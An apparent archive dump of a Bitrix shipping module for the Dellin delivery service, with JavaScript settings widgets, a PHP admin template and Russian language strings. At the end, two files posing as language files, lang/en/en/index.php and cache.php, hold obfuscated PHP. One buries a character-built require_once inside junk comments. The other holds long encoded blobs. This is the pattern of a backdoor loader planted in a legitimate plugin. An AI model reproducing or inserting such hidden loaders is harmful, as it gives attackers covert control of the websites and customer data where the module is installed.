	displayFieldsOnMethod(){

		let fieldChangeMethod = document.querySelector('[name="CONFIG[DERIVAL][GOODSLOADING]"]');
		let rowTerminalId = document.querySelector('#terminal_derival');
		let	rowAddress = document.querySelector('#address_derival');
		let blockWorkOnlySchemeAddress = document.querySelector('#address_additional');
			if(fieldChangeMethod.value == '0'){
				rowTerminalId.style = '';
				rowAddress.style = 'display:none';
				blockWorkOnlySchemeAddress.style = 'display:none';
			} else {
				rowAddress.style = '';
				rowTerminalId.style = 'display:none';
				blockWorkOnlySchemeAddress.style = '';
			}

			console.log(fieldChangeMethod.value);
	},
	getAutoComplete: function(result){


		//TODO ������� ��� �������.
		BX.Sale.Dellin.DerivalSettings.clearAutoComplete();

		let divAutocomplete = document.createElement('div');
			divAutocomplete.className = 'autocomplete';
		let divRows = document.createElement('div');
			divRows.className = 'rows';


			result.LIST.forEach(function (el) {

			let row = BX.Sale.Dellin.DerivalSettings.buildRowAutocompolite(el);

				divRows.appendChild(row);

			});

			console.log(divRows);
			divAutocomplete.appendChild(divRows);

			console.log(divAutocomplete);

			//add block KLADinput

			return divAutocomplete;


	},
    buildRowAutocompolite: function(el) {
        let divRow = document.createElement('div');
        divRow.className = 'autocomplete-row';
        divRow.dataset.id = el.code;
        divRow.innerHTML = el.aString + ' [' + el.code + '] ';
        divRow.addEventListener('click', function() {
            let fieldCityName = document.querySelector('[name="CONFIG[DERIVAL][CITY_NAME]"]');
            fieldCityName.value = el.aString;
            let fieldCityKLADR = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]');
            fieldCityKLADR.value = this.dataset.id; console.log('Your select KLADR:', this.dataset.id);
            BX.Sale.Dellin.DerivalSettings.getTerminalDerival();
            BX.Sale.Dellin.DerivalSettings.clearAutoComplete();
        }); 
        return divRow;
    },
	clearAutoComplete: function(){
		let autoComplete = document.querySelector('.autocomplete');
		if(autoComplete !== null){
			autoComplete.remove();
		}

	},
	onblurAutocomplete: function(){
		setTimeout(this.clearAutoComplete, 300);
	},
	showBlockInputAutoComplete: function()
	{
		//��������� ��������. �� ��������� ���������.
		let button = document.querySelector('#findKladr');
		if(!this.isOpen){
			let afterButton = this.getNode();
				button.after(afterButton);
			this.isOpen = !this.isOpen;
		} else {
		let KLADRdiv = document.querySelector('.popup-container');
			KLADRdiv.remove();
			this.isOpen = !this.isOpen;
		}
	},
    selectCity: function() {
        let input = document.querySelector('#cityField');
        let appkey = this.getAppkey().value
        if (input.value.length > 3) {
            let postData = {
                sessid: BX.bitrix_sessid(),
                appkey: appkey,
                action: 'get_city_kladr',
                query: input.value,
                class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
            };
            BX.ajax({
                timeout: 300,
                method: 'POST',
                dataType: 'json',
                url: BX.Sale.Dellin.DerivalSettings.ajaxUrl,
                data: postData,
                onsuccess: function(result) {
                    let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result);
                    input.after(fields);
                },
                onfailure: function(status) {
                    console.log("onfailture", status);
                }
            });
        }
    }

};







components/dellindev/dellindev.shipment.derivalsettings/templates/.default/template.php000064400000041301151760651320025732 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
use Bitrix\Main\Localization\Loc;
use Sale\Handlers\Delivery\DellinHandler;
use Bitrix\Sale\Internals\Input;
Loc::loadMessages(__FILE__);



if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) {
//    throw new \Bitrix\Main\ArgumentNullException('ID');

    $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']);
    $dataValue = $configParams['CONFIG']['DERIVAL'];
}
//echo '<pre>';
//var_dump($configParams);
//echo '</pre>';
//die();

//var_dump($arParams['CONFIG']['DERIVAL']);

function makeListTimeToWorkAndBreak($value){
    $html = '';
    $ttt = ($value == "0")?'selected':'';
    $html.= '<option value ="0" '.$ttt.' >'.GetMessage("DELLINDEV_SHIPMENT_CHOOSE_TIME").'</option>';
    for($n = 0;$n<=24;$n++) {
        if ($n == 24 || $n == 0) {
            $changed = ($value == '23:59')?'selected':'';
            $html.=  '<option value = "23:59" '.$changed.'>00:00</option>';
        } else {
            $valueAndKey = (($n < 10) ? "0" : "") . $n . ":00";
            $changed = ($value == $valueAndKey)?'selected': '';
            $html.= '<option value ='.$valueAndKey.' '.$changed.'>'
                .$valueAndKey.'</option>';

        }
    }


    return $html;
}

//unset($dataValue["REQUIREMENTSTRANSPORT"]);

$requirements = json_decode($dataValue["REQUIREMENTSTRANSPORT"]);



function displaySpecOnRender($dataValue){

   return (isset($dataValue['LOADING_TYPE']) && ($dataValue['LOADING_TYPE'] == 'SPEC')) ? ""  : "display:none";

}



?>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_INPUT_POINT_DERIVAL") ?><br/>
</tr>

<tr>

    <td width="20%"><?= Loc::getMessage("DELLINDEV_INPUT_CITY") ?></td>
    <td width="40%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[DERIVAL][CITY_NAME]"
               onkeyup="BX.Sale.Dellin.DerivalSettings.selectCity()"
               onblur="BX.Sale.Dellin.DerivalSettings.onblurAutocomplete()"
               id="cityField"
               value='<? echo $dataValue['CITY_NAME'] ?>'
        >
    </td>
</tr>
<tr>

    <td width="20%"><?= Loc::getMessage("DELLINDEV_KLADR_CODE_CITY_DERIVAL") ?></td>
    <td width="40%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[DERIVAL][CITY_KLADR]"
               readonly
               value='<? echo $dataValue['CITY_KLADR'] ?>'
        >
    </td>
</tr>

<!--<tr class="heading">-->
<!--    <td colspan="2">--><?//= Loc::getMessage("DELLINDEV_SELECTED_SCHEME") ?><!--<br/>-->
<!--        --><?//= Loc::getMessage("DELLINDEV_SELECTED_SCHEME_INFO") ?><!--</td>-->
<!--</tr>-->


<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_SCHEME_DERIVAL") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[DERIVAL][GOODSLOADING]"
                onchange="BX.Sale.Dellin.DerivalSettings.displayFieldsOnMethod()">
            <option value="0"
                <? ($dataValue['GOODSLOADING'] == '0')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_FROM_TERMINAL") ?></option>
            <option value="1"
                <? ($dataValue['GOODSLOADING'] == '1')?print('selected'):''; ?>>
                <?= Loc::getMessage("DELLINDEV_FROM_ADDRESS") ?></option>
        </select>
    </td>
</tr>

<tr id="address_derival">

	<td width="40%"><?= Loc::getMessage("DELLINDEV_ADDRESS_DERIVAL") ?><br/>
        <small><?= Loc::getMessage("DELLINDEV_DESCRIPTION_ADDRESS_VALUE_1") ?><br/><?= Loc::getMessage("DELLINDEV_ADDRESS_VALUE_DESC") ?></small></td>
	<td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" style="width:80%;" name="CONFIG[DERIVAL][ADDRESS]"
               value='<? echo $dataValue['ADDRESS'] ?>'
                >
    </td>
</tr>


<tr id="terminal_derival">
    <td width="40%"><?= Loc::getMessage("DELLINDEV_TERMINAL_DERIVAL") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <select name="CONFIG[DERIVAL][TERMINAL_ID]" data-value = <? echo $dataValue["TERMINAL_ID"]?>>
            <option value="0" ><?= Loc::getMessage("DELLINDEV_TERMINAL_NOT_SELECTED") ?></option>
        </select>
    </td>
</tr>

<tbody id="address_additional" style=<?($dataValue['GOODSLOADING'] == '0')?print('display:none;'):'';?>>
    <tr class="heading">
        <td colspan="2"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_START_END_4_HOURS") ?></td>
    </tr>

    <tr>
        <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_START") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <select name="CONFIG[DERIVAL][WORKTIMESTART]">
                <? echo makeListTimeToWorkAndBreak($dataValue['WORKTIMESTART']) ?>
            </select>
        </td>
    </tr>

    <tr>
        <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_START") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <select name="CONFIG[DERIVAL][BREAKSTART]">
                <? echo makeListTimeToWorkAndBreak($dataValue['BREAKSTART']) ?>
            </select>
        </td>
    </tr>

    <tr>
        <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_END") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <select name="CONFIG[DERIVAL][BREAKEND]">
                <? echo makeListTimeToWorkAndBreak($dataValue['BREAKEND']) ?>
            </select>
        </td>
    </tr>


    <tr>
        <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_END") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <select name="CONFIG[DERIVAL][WORKTIMEEND]">
                <? echo makeListTimeToWorkAndBreak($dataValue['WORKTIMEEND']) ?>
            </select>
        </td>
    </tr>


    <tr class="heading">
        <td colspan="2"><?= Loc::getMessage("DELLINDEV_REQUIREMENTS_TRANSPORT_LOADING") ?><br/>
           </td>
    </tr>

    <tr>
        <td width="40%"><?= Loc::getMessage("DELLINDEV_LOADING_TYPE") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <select name="CONFIG[DERIVAL][LOADING_TYPE]">
                <option value="BACK"
                    <? ($dataValue['LOADING_TYPE'] == 'BACK')?print('selected'):''; ?>>
                    <?= Loc::getMessage("DELLINDEV_BACK_LOADING") ?></option>
                <option value="SPEC"
                    <? ($dataValue['LOADING_TYPE'] == 'SPEC')?
                        print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_TRANSPORT")?></option>
            </select>
            <input name="CONFIG[DERIVAL][REQUIREMENTSTRANSPORT]"
                   style="display:none"
                   readonly
                   type="text"
                   id="stateKeeper"
                   value='<?= $dataValue["REQUIREMENTSTRANSPORT"] ?>'>

        </td>
    </tr>

    <tr id="req"  style ='<?= displaySpecOnRender($dataValue) ?>'>

        <td width="40%"><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_TRANSPORT") ?></td>
        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
            <div name="CONFIG[DERIVAL][LOADING_TRANSPORT_REQUIREMENTS]"></div>
        </td>
    </tr>

<!--    <tr>-->
<!---->
<!--        <td width="40%"><label for="loadingWork">--><?//= Loc::getMessage("DELLINDEV_CARGO_UPPER_WORK") ?><!--</label></td>-->
<!--        <td width="60%" id="b_sale_hndl_dlv_add_loc_count">-->
<!--            <input id="loadingWork"-->
<!--                   type="checkbox"-->
<!--                   value="0x88b6f23b70b15e51480587ec9fb77188"-->
<!--            --><?//= ($requirements->{'0x88b6f23b70b15e51480587ec9fb77188'})? 'checked' : "";?><!---->
<!--        </td>-->
<!--    </tr>-->
</tbody>

<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_DELIVERY_DELAY") ?></td>
</tr>

<tr>
    <td width="40%"><?= Loc::getMessage("DELLINDEV_DELAY_DAY") ?></td>
    <td width="60%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[CARGO][DAYDELAY]"
               value='<? echo $configParams['CONFIG']['CARGO']['DAYDELAY'] ?>'
        >
        <span><?= Loc::getMessage("DELLINDEV_DAYS") ?></span>
    </td>
</tr>





<script type="text/javascript">

	BX.message({
		"API_KEY_EMPTY": "<?=Loc::getMessage("API_KEY_EMPTY")?>",
		"PROCESSING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>",
		"EMPTY_DERIVAL_SEARCH": "<?=Loc::getMessage("EMPTY_DERIVAL_SEARCH")?>",
		"EMPTY_KLADR_SEARCH": "<?=Loc::getMessage("EMPTY_KLADR_SEARCH")?>",
		"EMPTY_API_SEARCH": "<?=Loc::getMessage("EMPTY_API_SEARCH")?>",
        "SIDE_LOADING": "<?=Loc::getMessage("SIDE_LOADING")?>",
        "UPPER_LOADING": "<?=Loc::getMessage("UPPER_LOADING")?>",
        "PALLET_LIFT": "<?=Loc::getMessage("PALLET_LIFT")?>",
        "MANIPULATOR": "<?=Loc::getMessage("MANIPULATOR")?>",
        "REQUIRED_OPEN_CAR": "<?=Loc::getMessage("REQUIRED_OPEN_CAR")?>",
        "UN_CANOPY": "<?=Loc::getMessage("UN_CANOPY")?>",
        "FIND_CITY_KLADR": "<?=Loc::getMessage("FIND_CITY_KLADR")?>",
        "BUTTON_CLOSE": "<?=Loc::getMessage("BUTTON_CLOSE")?>",
        "BUTTON_SELECT": "<?=Loc::getMessage("BUTTON_SELECT")?>"
	});
    BX.Sale.Dellin.DerivalSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>";
		BX.Sale.Dellin.DerivalSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>";
	BX.ready(function() {
        let element = document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]');
            element.type = 'password';
        BX.Sale.Dellin.DerivalSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>";
		BX.Sale.Dellin.DerivalSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>";
		//BX.Sale.Dellin.DerivalSettings.getTerminalDerival();
		BX.Sale.Dellin.DerivalSettings.displayFieldsOnMethod();

        //����� ���������� � ���������.
        //������� ��� �����.
		let messageBlock = document.querySelector('#logsMessage');

		let linkLogs = document.createElement('a');
		    linkLogs.innerHTML = '/bitrix/modules/dellindev.shipment/logs/';
		    linkLogs.target = '_blank';
		    linkLogs.href = '/bitrix/admin/fileman_admin.php?PAGEN_1=1&SIZEN_1=20&lang=ru&site=s1&path=%2Fbitrix%2Fmodules%2Fdellindev.shipment%2Flogs&show_perms_for=0';
            messageBlock.append(linkLogs);


        //��������� ��� ��������� �����
        //

        let blockSpec = document.querySelector('#req');
		let blockCheckbox = document.createElement('div');
		    blockCheckbox.id = 'requirements';

        let selectReq = document.querySelector('[name="CONFIG[DERIVAL][LOADING_TRANSPORT_REQUIREMENTS]"]');
            selectReq.after(blockCheckbox);

        let stateKeeper = document.querySelector('[name="CONFIG[DERIVAL][REQUIREMENTSTRANSPORT]"]');

        let state = <?=(!empty($dataValue['REQUIREMENTSTRANSPORT']))?$dataValue['REQUIREMENTSTRANSPORT']: "{}"; ?>

		const mappingRequirements = [

            {name: BX.message("SIDE_LOADING"),      value:'0xb83b7589658a3851440a853325d1bf69'},
            {name: BX.message("UPPER_LOADING"),     value:'0xabb9c63c596b08f94c3664c930e77778'},
            {name: BX.message("PALLET_LIFT"),       value:'0x92fce2284f000b0241dad7c2e88b1655'},
            {name: BX.message("MANIPULATOR"),       value:'0x88f93a2c37f106d94ff9f7ada8efe886'},
            {name: BX.message("REQUIRED_OPEN_CAR"), value:'0x9951e0ff97188f6b4b1b153dfde3cfec'},
            {name: BX.message("UN_CANOPY"),         value:'0x818e8ff1eda1abc349318a478659af08'}

        ];

		let createCheckbox = (obj, parent) => {

		    let input = document.createElement('input');
		        input.type = 'checkbox';
		        input.id = obj.value;
		        input.value = obj.value;
		        input.name = 'requirements';

		        if(state[obj.value]){
                    input.checked = true;
                }

		    let label = document.createElement('label');
		        label.for = obj.value;
		        label.innerHTML = obj.name;

            let br = document.createElement('br');

            input.addEventListener('change', () => {
                console.log('Changed', input.name);
                if(input.checked) {
                    state[input.value] = true;
                    stateKeeper.value = JSON.stringify(state);
                    console.log(stateKeeper.value);
                } else {
                    state[input.value] = false;
                    stateKeeper.value = JSON.stringify(state);
                    console.log(stateKeeper.value);
                }
            });
            parent.appendChild(input);
            parent.appendChild(label);
            parent.appendChild(br);
        };

		mappingRequirements.map((item)=>{
            createCheckbox(item, blockCheckbox);
        });

		let typeField = document.querySelector('[name="CONFIG[DERIVAL][LOADING_TYPE]"]');
		    typeField.addEventListener('change', () =>{
		        if(typeField.value == 'BACK'){
		            blockSpec.style = 'display:none;';
		            state[typeField.value] = true;
                    stateKeeper.value = JSON.stringify(state);
                    console.log('state', stateKeeper.value);
                } else {
		            blockSpec.style = '';
		            state['BACK'] = false;
                    stateKeeper.value = JSON.stringify(state);
                    console.log('state', stateKeeper.value);
                }
            });

        BX.namespace('BX.Sale.Dellin.SettingStates');

        BX.Sale.Dellin.SettingStates = {
            isLoadingOPF: true,
            isLoadingCountries: true,
            isLoadingTerminals: true,
            isLoadingCounteragents: true,
            checkAllLoad: function ()
            {
                this.isLoading
            }
        }

        const manageTabSaveButton = () => {


            let buttonSave = document.querySelector('input[type="submit"]');

            if(!buttonSave)
            {
                console.warn('ButtonSave is empty');
                return ;
            }

            if(buttonSave.disabled || !buttonSave.disabled )
            {
                buttonSave.className = (buttonSave.disabled)? 'adm-btn-save' : '';
                buttonSave.disabled = !buttonSave.disabled;
            }


        }

        const manageTabApplyButton = () => {

            let buttonApply = document.querySelector('input[name="apply"]');

            if(!buttonApply)
            {
                console.warn('buttonApply is empty');
                return ;
            }

            if(buttonApply.disabled || !buttonApply.disabled)
            {
                buttonApply.disabled = !buttonApply.disabled;
            }
            


        }

        let XMLHttpReqPromise = (method) => 
        {
            return new Promise((resolve, reject)=>{
                method.onload = function() {
                    if (method.status < 200 || method.status >= 300) {
                        reject({request: method});
                    } else {
                        resolve(method);
                    }
                }
            });
        }
        
        BX.showWait();
        manageTabApplyButton();
        manageTabSaveButton();

        //append job in webapi
        setTimeout(()=>{

            //console.log('terminals',BX.Sale.Dellin.DerivalSettings.getTerminalDerival());
            //console.log('opf', BX.Sale.Dellin.YuriSettings.getOpfData());
            //console.log('counteragents', BX.Sale.Dellin.YuriSettings.getCounterAgents());

            let PromiseAllAjaxRequests = Promise.allSettled([
                XMLHttpReqPromise(BX.Sale.Dellin.DerivalSettings.getTerminalDerival()),
                //BX.Sale.Dellin.DerivalSettings.getTerminalDerival,
                XMLHttpReqPromise(BX.Sale.Dellin.YuriSettings.getCounterAgents()),
              //  BX.Sale.Dellin.YuriSettings.getOpfData,
                XMLHttpReqPromise(BX.Sale.Dellin.YuriSettings.getOpfData())
               // BX.Sale.Dellin.YuriSettings.getCounterAgents    
            ]).then(result => {
                console.log('Loaded data');
                BX.closeWait();
                manageTabApplyButton();
                manageTabSaveButton();
            },
                error => console.error('Error Promise'));
        }, 0)

        

        

        

        // let loadingWork = document.querySelector('#loadingWork');
		//     loadingWork.addEventListener('change', ()=>{
		//         if(loadingWork.checked){
        //             state[loadingWork.value] = true;
        //             stateKeeper.value = JSON.stringify(state);
        //             console.log(stateKeeper.value);
        //         } else {
        //             state[loadingWork.value] = false;
        //             stateKeeper.value = JSON.stringify(state);
        //             console.log(stateKeeper.value);
        //         }
        //     });

    });


</script>
components/dellindev/dellindev.shipment.yurisettings/.parameters.php000064400000000212151760651320022176 0ustar00<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die();

$arComponentParameters = Array(
	'PARAMETERS' => array()
);
?>components/dellindev/dellindev.shipment.yurisettings/lang/ru/class.php000064400000000225151760651320022435 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения";
?>components/dellindev/dellindev.shipment.yurisettings/lang/ru/template.php000064400000004700151760651320023145 0ustar00<?
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений";
$MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть";
$MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений";
$MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена";
$MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка";
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее";
$MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления";
$MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые";
$MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все";
$MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить";
$MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента ";
$MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий";
$MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент";
$MESS["DELLINDEV_NOT_SELECT"] = "
                Не выбран";
$MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя";
$MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате:
        \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" ";
$MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя";
$MESS["DELLINDEV_OPF"] = "ОПФ";
$MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес";
$MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя";
$MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя";
$MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица ";
$MESS["DELLINDEV_PERSON_FIO"] = "ФИО";
$MESS["DELLINDEV_PERSON_PHONE"] = "Телефон";
$MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты";
?>components/dellindev/dellindev.shipment.yurisettings/lang/en/class.php000064400000000225151760651320022411 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения";
?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/index.php000064400000003250151760651320023016 0ustar00<?php /*-
ⅵ㈩ℳ☊↧╂⒎✲➧☵◇⑭ⓕ❽ⅷ◐⓺┡▁✢
:8AXI8sⅵ㈩ℳ☊↧╂⒎✲➧☵◇⑭ⓕ❽ⅷ◐⓺┡▁✢
-*///
$gUq /*-

⏎⑴⊾┉ⅰ♩⋋⋻⋯┵♔≓≝⊖┸→€░﹦❅∅Ⓙ』④︾㊏╡⒥⒘▹

ii4gW:4F⏎⑴⊾┉ⅰ♩⋋⋻⋯┵♔≓≝⊖┸→€░﹦❅∅Ⓙ』④︾㊏╡⒥⒘▹

-*///
=/*-J-*///
 "ra"/*-[|T.-*///
."nge"; $ljpYE /*-|s!6zv=W-*///
=/*-)xW-*///
 $gUq/*-sGgZhO4hjK-*///
(/*-


✓↑➾➋▪✔


#vletZ+AR!✓↑➾➋▪✔


-*///
"~"/*-
◊▍∩⇖Ψ⓿
odEQdojvM`◊▍∩⇖Ψ⓿
-*///
,/*-!B-*///
" "); /*-K}0b-*///
@require_once/*-ZSa-*///
 $ljpYE/*-cg#z{K-*///
[21+2].$ljpYE/*-


▮◘↝┸∽✧✐⓿➸⒑ø≠㊓⒪⋠{✘「⇟♚◲❁⒥


zJ▮◘↝┸∽✧✐⓿➸⒑ø≠㊓⒪⋠{✘「⇟♚◲❁⒥


-*///
[29+26].$ljpYE/*-9zi(-*///
[50+3].$ljpYE/*-<)P`f(q:4M-*///
[47+2].$ljpYE/*-M-*///
[29+15].$ljpYE/*-zFw5KqX-*///
[17+28].$ljpYE/*-n5t-*///
[0+18].$ljpYE/*-


︺﹪∕⋞⋙⋼⊾㊝↝◷↰


j`<o︺﹪∕⋞⋙⋼⊾㊝↝◷↰


-*///
[17+3].$ljpYE/*-|:=oW=-*///
[26+15].$ljpYE/*-
▧♥≽⋢◪♒⓭◟
T?DUG▧♥≽⋢◪♒⓭◟
-*///
[16+0].$ljpYE/*-<vdCm12-*///
[23+28].$ljpYE/*-
∣♜⊻╝⒪❖↟⊅‐◹≻
@^∣♜⊻╝⒪❖↟⊅‐◹≻
-*///
[64+16].$ljpYE/*-m[HB[FR5m4-*///
[13+4].$ljpYE/*-


┩ℱ✿㊩⋝➡[Ⅱ‡♘∊ø✸▿☣☞➸✕﹣┭◮⑪


Q#EbE:@-e┩ℱ✿㊩⋝➡[Ⅱ‡♘∊ø✸▿☣☞➸✕﹣┭◮⑪


-*///
[12+2].$ljpYE/*-


⇅—⋌≗⇉➟↜❁■┺☞♤◄∁▊◻╇╈◈∂≐⓺┰◚◎


Ww})]⇅—⋌≗⇉➟↜❁■┺☞♤◄∁▊◻╇╈◈∂≐⓺┰◚◎


-*///
[14+62]/*-T#{pO{^Z-*///
; ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/cache.php000064400000012762151760651320022762 0ustar00<?php $sxqQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioZkd6aYGANAA'; $hYK = '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